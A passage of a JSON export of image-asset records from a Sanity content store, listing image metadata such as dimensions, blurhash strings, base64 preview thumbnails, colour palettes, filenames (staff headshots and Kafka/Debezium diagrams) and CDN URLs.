X3GaEug0ardEDEM1fgIuf0q5THjdiuvXn4jNq0kvz7LrNlM9KqB85d/gysNxo6T0Fdrnbf7IFbC+WET3/QOMD79h/ZeHpJw2GmefxsIGg8E/wKtFv6/QaV1QrzQ4fneKFMjieLmOSf0Yy9QDLFPf4jcaODk8odvtj51n1UiRotBuXfBXpU6pWKYoH/I2lCfultkyRXBqbWxMq7FOfcfqzByCM8rRuxPOG83L5r5WOgI2z9scF0vsSfvsRvPkgjky3ixxZwafKYr9hROTWsfqj9Ms/PAU/YwJvzlEXi7SqDf/feVRe3z4k0w4R8onIwdyyN4dMm6ZpDNDyCbi0wu4dC42NFasv1mxzDqwzbvZtCc4LJbp9a77UdVqddjNFgi9iRN3SUhbOSS3TNotI7lkEo4UsbUEYVOUkGGbwHIQ96Ify3Mv5qVtMqkCrWb7Glit1kmEZXymIGG7SNyVIbaRJuXMkH6TJrmeJG4TiVliiKthQvpt3AtbWJ95MM65EDwS1UrtS++qyqVPhLwinmUvwVWBoC1BwJogZk8i2URS5giiKYJoiZI0RwivBPEs+LBrXBgeWXEZ/ZSOygwUhaGTnwHzuQZayAIoZwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#47415c","foreground":"#fff","population":1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#943659","foreground":"#fff","population":1.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c1b9d3","foreground":"#000","population":2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1b9d3","foreground":"#000","population":2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f38cb0","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#966f69","foreground":"#fff","population":1.92,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df6e95","foreground":"#fff","population":0.3,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"mikko-rontynen.png","path":"images/sczeoy4w/production/37f3e688ab11903f54b659767d72903fcccd0a3b-503x518.png","sha1hash":"37f3e688ab11903f54b659767d72903fcccd0a3b","size":244450,"title":null,"uploadId":"XsJI8bryhXyAhqGupaHHUaLjGTUitive","url":"https://cdn.sanity.io/images/sczeoy4w/production/37f3e688ab11903f54b659767d72903fcccd0a3b-503x518.png"} {"_createdAt":"2024-06-27T14:48:47Z","_id":"image-d97d5a35e7589b66c08c8a678e37cb662f677460-1200x628-png","_rev":"dL4QB5BmM9bhrJSKRVbqsJ","_type":"sanity.imageAsset","_updatedAt":"2024-06-27T14:48:47Z","assetId":"d97d5a35e7589b66c08c8a678e37cb662f677460","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M27w~_^@$rMa0E^~JG_3?ZJZ00Mt?c-@V.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACj0lEQVQokSXSa1MSARSA4f0FzWSCyrLLdReWpUVBNhSzFOQigXcpp6aLmqZRaV64LyomZk019a0f+zbSh/PpzLwzZ84jDMkbFJYsDk7+srrRwx3c4e7IK+45txiU3mFzVbC7DxjyHjHiryEqbeRgi8h4lXymSi7bxDDbSMFmfy/YpKekC3V2K38orXXxaLsMSm+wu3YY9uzj8H3C4f+Mw3+Cw19HCjTRxj6TSb1h/9kWx1vHlDcuMSa7iGoLYcBRJjpRYX7RYibXYDRxiB47JDx+hGHWiCRaaLEmHr2OqNTxhBskH79nYX6B9UyKt+vrbG/XeJi7RA6dIww6n2LE95jJVknlm6QLHbLFLnNPLskUr8kUb0imr4gkzvGGLdTRJqlchVwmS1TXmYonKRZfYz5q4A73EOzyM8YnP5AttciVLOYXLyitXVNau6G0+p3i6k/ySz9JF38QneqhjnaITx0QN/N4ZI1gIEE88QItWsOlX/8PjiUqzOZqzOYbpAsWuVKXbOmK/OINhZUfFFZ+kV34RXz6Kz7jHMVooOibSJ553Moy/vA+Lq2BM3iBMCiWUcObjD2oEJv8RHzqmMTjOhMzLZKpc6YzX/onR5Nd1NEzPPoZWqzH2MQVhtlCjVTx6A1krYUUtBAGhlbwusuEQq8JGLso9/eITZ4wPdfBnG5jmE0Uo4YcrPaf4gp1iEx8I5n+jfnoO3q8i9+w8IZbuEJthAH7El7nMlrgBb7Qdt/hbXA2f4H5sI1qnCIqRwz7jvvOpICFEvlCaLyHEung0m4pVXEGajiDbYQ7tmXuDa1gF8vYpOfY5JeI/h3cWgVZ/dh3OOw97Acdt7DVNs7AGaJqMeI77YO/nWHfCWLA4h+vD273Bn3AIgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f356d","foreground":"#fff","population":1.7,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041a68","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c3c5dc","foreground":"#000","population":8.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3c5dc","foreground":"#000","population":8.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7880c3","foreground":"#fff","population":0.79,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#525d93","foreground":"#fff","population":1.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7404a","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Diogo1.png","path":"images/sczeoy4w/production/d97d5a35e7589b66c08c8a678e37cb662f677460-1200x628.png","sha1hash":"d97d5a35e7589b66c08c8a678e37cb662f677460","size":297067,"uploadId":"75Y7NS4gdZu3c7m28cXWnvjsUjD8k8fe","url":"https://cdn.sanity.io/images/sczeoy4w/production/d97d5a35e7589b66c08c8a678e37cb662f677460-1200x628.png"} {"_createdAt":"2023-06-07T13:34:10Z","_id":"image-19c2583566a2ad5c4ba8a1b0d317de4a2e427b5c-1920x1037-jpg","_rev":"OSa4Of7leLeKOMRysgjs80","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:34:10Z","assetId":"19c2583566a2ad5c4ba8a1b0d317de4a2e427b5c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M2By?SD+JGaI4m000gD#~B~9vf-p$waI%1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFBgf/xAAkEAACAQMDAwUAAAAAAAAAAAABAgMABBEFEiEGE1EiMUFCcf/EABYBAQEBAAAAAAAAAAAAAAAAAAQBA//EAB0RAAICAQUAAAAAAAAAAAAAAAABAxICBBETUXH/2gAMAwEAAhEDEQA/AOYW+iy3Twu0Yjii+7cFz4FUbO2WRp4MxdxTnLDBx+1pNMAljnklG5w20E/AqNdIqdR2qqAFZPUPPNZ5SN+F40hVdPmiULEH2+/AzmilOsJZINY2wyPGpjU4ViBnmikLT2Vuw7mq9j//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58522b","foreground":"#fff","population":6.9,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f3c07","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#58522b","foreground":"#fff","population":6.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#baa89f","foreground":"#000","population":6.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8caba","foreground":"#000","population":0.19,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7389ac","foreground":"#fff","population":1.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac5404","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"spare-customer-img.jpg","path":"images/sczeoy4w/production/19c2583566a2ad5c4ba8a1b0d317de4a2e427b5c-1920x1037.jpg","sha1hash":"19c2583566a2ad5c4ba8a1b0d317de4a2e427b5c","size":3129361,"uploadId":"5eCm0mgMgJON362re9bqIwqhyQ70rm5A","url":"https://cdn.sanity.io/images/sczeoy4w/production/19c2583566a2ad5c4ba8a1b0d317de4a2e427b5c-1920x1037.jpg"} {"_createdAt":"2023-06-30T15:44:30Z","_id":"image-dd4eae2fedecd9c3668ae6008d4fe1bcbafefad8-800x1200-jpg","_rev":"kqzyZ7JVpCO5nNERnMfIpx","_type":"sanity.imageAsset","_updatedAt":"2023-06-30T15:44:30Z","assetId":"dd4eae2fedecd9c3668ae6008d4fe1bcbafefad8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dMNJ,y4o?w%20Nxu_4-pT0oeDiIo-;t6R5NGIpRjV@bb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6666666666666666,"height":1200,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAeABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGBAf/xAAoEAABAwMDAwMFAAAAAAAAAAABAgMEAAURBgchEjFxE0FhIiMyQlH/xAAXAQEBAQEAAAAAAAAAAAAAAAAEAQID/8QAGhEBAAMBAQEAAAAAAAAAAAAAAQACEQMhQf/aAAwDAQACEQMRAD8Aqd09RStHaNM6AhJluuBpsqGQCfeozanW+q513jtXtCplvkcFwJ5bJ7HxVlvo/Dc0iy2G1PPtPpUAkZCT81g2ckhESKl5I9ILJUOn8eeKx07NbGTvy41tVbTpj0Mhw8UU8+l4lSUKABxyKKQXGGySUa0RrtbVuNNpfSpXS+0s5yf7mmFqs1uiBqPFgKjPFXWpKuxA+agdqL+9FvlytbnU40VJWkk9q65If+42FJzyUHwRQQjNzybWpTK0AtrRgcHzRSWJFjIaIS1+x96KouSIfJ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a3e34","foreground":"#fff","population":3.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c3a27","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d1aa94","foreground":"#000","population":4.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2b2a6","foreground":"#000","population":1.44,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fceae2","foreground":"#000","population":3.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4775d","foreground":"#fff","population":2.64,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d1aa94","foreground":"#000","population":4.07,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"sebastien-blanc.jpg","path":"images/sczeoy4w/production/dd4eae2fedecd9c3668ae6008d4fe1bcbafefad8-800x1200.jpg","sha1hash":"dd4eae2fedecd9c3668ae6008d4fe1bcbafefad8","size":97191,"uploadId":"aOeRyJPlOpoyAZ49WOGqrubYtQ3zq3AO","url":"https://cdn.sanity.io/images/sczeoy4w/production/dd4eae2fedecd9c3668ae6008d4fe1bcbafefad8-800x1200.jpg"} {"_createdAt":"2023-08-25T08:49:54Z","_id":"image-f2771b9954ef0aef56fc48a9a90d09971d6cb94d-1567x844-png","_rev":"JgIs2qI3CUllaKCG3TuT7B","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T08:49:54Z","assetId":"f2771b9954ef0aef56fc48a9a90d09971d6cb94d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA7BNm?ZRMRjWE?dx[M{WDbIM_RQWAt7t5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACZElEQVQokSWRa0/aUACG+wuktPRyetqe3iiIYxqzOB3OiSNziDrA1hbkXgShIowoopvoomNmzDg3p393kyXPtzdPng8v5gUGxVu0kGXEPJDLnFqDWhMFOkroSAodo8m+8mzgn/kihU5Y2aXEOoXqJCzhbMbDGBjSC3OL7aVYLxLtRVZOXsfOFmPnb9eGa8mblbXRfPR6afU2nn6IxK7FYIvkK0++2CD4ipfLYcGZ3URqYO4MP5hXm+YwZX9P2jdb2Tur8JDO/Imnf60bjwnj8eXyV15vkoLDyB2g9hi5Q0stbGq2nkgNtjJXRvabXfhhF2+twl3Sut0wf25u/1437leT93PLI2mqT0sNSnI5/wmnf+K0PtQHmD/sLMUOVzc+fzAvt3OjlD3aNEfR+HA2cj69cDHz6jI8f6VNXwD1iEJNCjUYuUVLLUZuc1ofQ4Hi7MJ+JHr45l0/ljhfiV9E31++WDxDk12gdjl/D+qnUD9lla5P3CNgieDyBJcn+TKNmhjJbwM5C9W84C9JwZo86SqhAzHQZpUWLbUZpQu0Y6Ad03Kb5B0vlyNg8T+UWMc8dPoJxsSBPd7KpLBLiQ1acinUpCWXUTqs0qUll4BFL9jxCTUKNUi+QvIOxrApJBhIy0O1RAlFApZ9Y5lCTVKoErBECg4l7vmEXS/I4SAzvrpBwALO2pjMp8KaFX5e9YfrQK74xAqNaozkMvI+JVYJmCP5PCVWfUIFZzM4a42bZQ9rTdBpTJRsRc2qgZIUdHitCv11QXfFwAEKfhT0FqdWObUKtSaNHJy1PIzpBTs4yEwwxj/5L25Uojj2ySy7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363168","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04196f","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#686f93","foreground":"#fff","population":1.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b8d6","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c1c6e6","foreground":"#000","population":0.49,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f93","foreground":"#fff","population":1.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd4549","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-with-mongodb-source.png","path":"images/sczeoy4w/production/f2771b9954ef0aef56fc48a9a90d09971d6cb94d-1567x844.png","sha1hash":"f2771b9954ef0aef56fc48a9a90d09971d6cb94d","size":123407,"uploadId":"0ojNRi2aZu0MLucAYW7yfDBCg3MBhCIS","url":"https://cdn.sanity.io/images/sczeoy4w/production/f2771b9954ef0aef56fc48a9a90d09971d6cb94d-1567x844.png"} {"_createdAt":"2023-04-21T15:08:34Z","_id":"image-96eb5e31806569e3a18ea4fe494454640357fe9b-512x512-jpg","_rev":"rJUhHYnxPdW15WAgs3NJTo","_type":"sanity.imageAsset","_updatedAt":"2023-05-02T15:40:55Z","altText":"Andra Nuta","assetId":"96eb5e31806569e3a18ea4fe494454640357fe9b","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"elN9a|Ipys%2Ri*JjF%NxtenI9WBjrWWogMxbHo0jutRX-oLt7ayV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQGBwIF/8QAJRAAAQMEAgIBBQAAAAAAAAAAAgEDBAAFBhEHEiFBMRMiUXGB/8QAFwEAAwEAAAAAAAAAAAAAAAAABAUGAv/EAB0RAAICAwEBAQAAAAAAAAAAAAECAAMEESEFMRT/2gAMAwEAAhEDEQA/AL3ztjZ3/CIyMARHHkC4XX0PtagcX4pbGiiORIzQyo7iKbimpL8eq8zLOYmSilAs0QnmXEUHXjTSdV/CVDx7kCLj9uaS2icqSRopo4GtD7TdB5F1ZsB3yPMPy8pqjpPvyb6+KfVWlUa2chwbjEGQceQ0S+FDrvX9pRy5FRGw0UPh3oxUodiYlb4EadiyTnm0SQnjYeEX9pXNghsybkww4P2GWl180pU1l8tAll5lj/mPTLVkNwfs1xWFA6tx2wTqOt0pStuzBiAYlA30z//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#715a50","foreground":"#fff","population":0.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#941c0e","foreground":"#fff","population":3.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#986654","foreground":"#fff","population":7.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2b1b7","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4ac6c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#986654","foreground":"#fff","population":7.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e02f23","foreground":"#fff","population":3.04,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"andra-nuta.jpg","path":"images/sczeoy4w/production/96eb5e31806569e3a18ea4fe494454640357fe9b-512x512.jpg","sha1hash":"96eb5e31806569e3a18ea4fe494454640357fe9b","size":69000,"title":null,"uploadId":"SGe6kakymSbbI7w1bqrQJGO9gGLHGt1T","url":"https://cdn.sanity.io/images/sczeoy4w/production/96eb5e31806569e3a18ea4fe494454640357fe9b-512x512.jpg"} {"_createdAt":"2023-08-25T08:53:44Z","_id":"image-91e0c19ac4bc1d6c43e69f625cc17d1b5242f954-1567x844-png","_rev":"JgIs2qI3CUllaKCG3TuXW5","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T08:53:44Z","assetId":"91e0c19ac4bc1d6c43e69f625cc17d1b5242f954","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M88}4W_1DgxtRk?dxtM{WFbI00M|%MRQxt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACfklEQVQokR3ReU/aYACA8X4CQaD0eEsLLeUwHmzLhgQFRS5HC7SUUg6Vo4KgOHU6cBPZYAa5psY4Mk32Wbf4AZ78/nggPZARKoua86h5F7OUAVPFmTrOHBG2E8J+QTrb1EKHdHYw5hymGgayBlM1PShq0awGkSDaUVz1nQSil/7w5Xrwmy987d3quv1db/CnLzL0RSb+6N279SHpaMHkgd5UhskaTNZ1RHkeL0C2pcrWdluQ+4J8k8wMkplRPD2OJoecdBeXHxOZ30nlTzD++NbbY1dOTbYGRp+izAVCnxjNTci+rG5EvsSEblzqC8pQUMZi9ldcnvLSHZd64NNPQu5ZyL0klacQP3B5OtRCB2e/Ymwb2K4hx4rqC11E4h1O7CXkAZ+6TcgTTpqE+VGQm4Tj93x6JuZfUvkZl5quBfvscguxNI2WTzjbhpyu/UC0lcz0MjsjuTCOS7eJ9JhPT0P8aCs2iSQehNxztvhXKsxi4ngteMUsNgzErg6UjOZDyOHaD2y3RKUv5W458SbE9WKpIZ+efhSnkcQ0mrxPKjOp8Czln0Jc3+E6Qi0VPSjqwB5MHkAUu+P60PD4z9y+8zerZyvuc/fGlSfw3bP5w+3vvl/vrG72vcHBWrDvcn/G6JLBVIWpup4o64kKhOMpK63YFkoWp4rTZdSs4kwdsE3CeozRB4i5gtE1wB4Ba8NI7elA/nV1XQd2tagCmQlhkZEXlyrWxSpqKemJsoGswlQDoRoGU0WH53VgR29SdaCkQRQNmnk1Sxo0M2cUIdKi0EyOsRfNjoqJVQFbM9kOSfsx5Tgl7U3AqMCqAuuhkapo0YwGSc9jeS2WnUOk//E/Ar64avt/tZsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#352e5b","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c74","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d9ddeb","foreground":"#000","population":10.68,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9ddeb","foreground":"#000","population":10.68,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949be4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7093","foreground":"#fff","population":1.97,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242d90","foreground":"#fff","population":3.49,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"debezium-pg-kafka-cross-cloud.png","path":"images/sczeoy4w/production/91e0c19ac4bc1d6c43e69f625cc17d1b5242f954-1567x844.png","sha1hash":"91e0c19ac4bc1d6c43e69f625cc17d1b5242f954","size":154678,"uploadId":"pNSx8uxFy9A2JCjpaiXLvg38TT2kFyGo","url":"https://cdn.sanity.io/images/sczeoy4w/production/91e0c19ac4bc1d6c43e69f625cc17d1b5242f954-1567x844.png"} {"_createdAt":"2023-07-21T12:10:58Z","_id":"image-3ba5fb24d5ffd7249377aa7cd2fe055589b02d8c-253x256-png","_rev":"Q21J3pgWoUWkhUhtSosOYP","_type":"sanity.imageAsset","_updatedAt":"2023-07-21T12:10:58Z","assetId":"3ba5fb24d5ffd7249377aa7cd2fe055589b02d8c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUM?e^L#~qH?NZlScXx]Iot7K4tRRjX7t6={R5M|WVWVtQNGD%$*xG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.98828125,"height":256,"width":253},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFgElEQVQ4jTXSaVATBhrG8XyqnU4729pup53tTtvtOOO4zooiUBQQEdCV0gNHpKOt54h21RG1Vg6tnLoi4lmiXClHEiDWcAZoCBByEBISEsIVBN1Vt4IFRI4IJvx34s5+eL/+5pn3eQR1JTk0SHNRyUSo5SVoa6QYFDJMv97B0lyFTV2LXVNPr66RfkMTjk41nXolBZI8LuddR63TMz7+DOcLFxMuFwKl7Gda5GI0tRW0N8gxNdXQ1VpPt05JX0fzy7NpGjC3VGNskmNurcGgrqVYfJNc4RWMGj1Pn07z3OVm0gOq62RoG+QYVLWY1Q3YdCp6O9QMmLXY2lU0/lKK6NoFrqYlkHnmOFczEin4KZMb2ekUZ/0Te6uOqckZ5txuptxuBDplNYbmOjrbGrHqm+k1tTFoNdBtaKUk9zr7tkcT7OeNz/KlrFq2BH+v5WwKCWRv9FfknU7C0WZgdsrJvHuBaQ/YoW7ErFNh61DTZ9Ez1Gvh3oANRWUF30RH8cG77/DGold4fdErvPHqIt56/TXeX/wm3kv+QsKuXXQqW5jxgAsLzCy4EXSZdNi7Ohjo7WJ4sIf/PLzH8FA/17Iv4rVsKW+/9iofL/4DS/64mI/feYtP3n2bZX96D68PP2Bb2AZkRSWMj03wYgFmPQm7dK30dOgY7DJxv9fGyP279FuMJJ2I468f/RmfD99nu/9KYjesYWegL7uC1/DdZ+Hs3LieHREbEQmFPBl9ggtwekDthXN0XMrEduMqA7lCHhT/TLfwJ5JjthKy9BP2BK7m+r6vkfxwCHH8EcqTT1F56Rz5yQmkxB1CIZcz9Wwa9/9B5foNtIaGY4z4DHvUFgZ37abnQCwFX0QSu2Y1SVs2UXgsFkVmCobCG2hFOWhKC2gsyqX4ahadWi1zz+f+l9DzQ9XyVbSt8Mbs6491cwSWQwcxp5+l6sQRzsd8yYXd0dw4vI/bGafplOTRKspBKbqJ7hcJzWXF3DV3Mv987mUp054dtnn50L7Sh651IZgO7KfNs/5qKTV5l8k7+R2SxKMoLqaiEV6iX16Ko/4ODmUNwxolfUoFj+w9zEw7mZyb58GzKQQ6Lx+Mq3yxhm7EmBRPW00Fak09dbdFiFNPoTiXRHfJLfqk+QzKxTzWNDFhaWfUoudf7Rp+c9xlYnKGx9Oz2J+MITCsWI15pS/29WHY4uLolBZjbKpFIymk8lQcsqOxqDLPospKpfFSOhZpIfdbFNzTNjGs1zEy/IDJKSe/O+cYmp5GYFzhTddKX/r9gxiK2spQfALD2dncPXMGXUwM+Z9v4tqeaG7+YyeiYwepvZiKulSItrqcHp2e3x+O4nS+YMblZuSFC4Hpb6uwevng8F3Lg6BQRiKiGN+6g8kvtzEUHI7oUz++DwsgZcdX5B0/iDQtAcnlNBS3xfSarUyMPmV+3s1z9wJjLrcH9H4JDvr488g/mLHAMKaCNzOzfjP/DghFtjaAkxvWcujzMM7sjiEz7gCirFQ0jbUM2Pt4MjLO/LzrZcsTHtDgF0CXXwAOnzU8/DSIx4HhPAqNxPH3KNSRUZRti+LKt1s4/U0USft3cO3sSVTlIvr1LZh1WqzWHh6PjvF01snI7BwCTVAopoAQ7H6BdK8LRx8ZTc3Xe8jbGUvW3v0Ij8YiSTxMRUY8VcIstPJSBtoasKoUyMvKKJNV06Q2YLD0YOh2IND5B6ELCEG5MRLp9r3kHPmB8yd/JP54IsePHOP8iaNI0hNpyr+CsUqKVVlDR30VcnEpQmEhwgIpBaV3EInliCSVCEzrQmmJ+ILi2MNcSEolLe0i6RnZnE3JJCE+meRTieRmpFBXkIP6jpRfZVLKi4rIzS3ilqgckbiSwlI5t0QVCPMl/Bdyn3cBF+In7AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f352d","foreground":"#fff","population":2.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac1c1c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a0746f","foreground":"#fff","population":7.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9bcb2","foreground":"#000","population":5.67,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f13f48","foreground":"#fff","population":3.44,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0746f","foreground":"#fff","population":7.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c93035","foreground":"#fff","population":7.61,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2023-07-21 at 14.10.49.png","path":"images/sczeoy4w/production/3ba5fb24d5ffd7249377aa7cd2fe055589b02d8c-253x256.png","sha1hash":"3ba5fb24d5ffd7249377aa7cd2fe055589b02d8c","size":106210,"uploadId":"B5xVdvnBG1KK91GlqtqT8k8WSkGZOYPU","url":"https://cdn.sanity.io/images/sczeoy4w/production/3ba5fb24d5ffd7249377aa7cd2fe055589b02d8c-253x256.png"} 